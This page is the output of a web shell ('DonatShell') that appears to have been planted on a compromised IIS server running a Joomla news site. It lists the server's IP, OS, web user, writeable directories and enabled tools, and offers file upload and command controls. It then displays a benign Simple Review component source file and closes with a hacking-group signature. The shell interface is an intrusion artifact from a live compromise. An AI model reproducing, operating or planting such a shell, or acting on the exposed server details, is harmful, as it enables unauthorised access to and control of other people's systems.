DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/administrator/components/com_simple_review/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/administrator/components/com_simple_review/classes/SRBridgeJoomla16.php
<?php
/**
 *  $Id$
 *
 * 	Copyright (C) 2005-2009  Rowan Youngson
 * 
 *	This file is part of Simple Review.
 *
 *	Simple Review is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.

 *  Simple Review is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.

 *  You should have received a copy of the GNU General Public License
 *  along with Simple Review.  If not, see <http://www.gnu.org/licenses/>.
*/

/** ensure this file is being included by a parent file */
defined( '_JEXEC' ) or die('Direct Access to this location is not allowed.');
require_once("SRBridgeDatabaseJoomla15.php");
class SRBridgeJoomla16 extends SRBridgeJoomla15
{
   	function SRBridgeJoomla16()
   	{
   		parent::SRBridgeJoomla15();
   		$mainframe = &JFactory::getApplication();
   		
   		$this->SystemToBridge = 'Joomla16';
   		$this->AdminPage = 'index.php';
   		$this->AdminTemplate = 'bluestork';
   		$this->Option = $mainframe->scope;
   		
   		jimport( 'joomla.html.parameter' );
   	}

	function GetItemID()
	{
		$component =& JComponentHelper::getComponent('com_simple_review');
		$menus	= &JApplication::getMenu('site', array());
			
		$items = $menus->getItems('component_id', $component->id);
		$itemID = 0;
		if($items != null)
		{
			foreach($items as $item)
			{
				if((!isset($item->published) || $item->published) && $item->menutype != 'usermenu')
				{
					$itemID = $item->id;
					break;
				}
			}
		}
		return $itemID;
	}
	function RunPlugins($content)
	{		
		$item = JTable::getInstance('content');
		$dispatcher =JDispatcher::getInstance();
		$params =new JParameter('');
		JPluginHelper::importPlugin('content');
		$item->parameters = new JParameter('');
		$item->text   = $content;		
		
		$offset = 0;
		$eventArguments = array('com_simple_review.review', &$item, &$params, $offset);
		$dispatcher->trigger('onContentPrepare', $eventArguments); 
		
		return $item->text;
	}	
}

Anon7 - 2022
AnonSec Team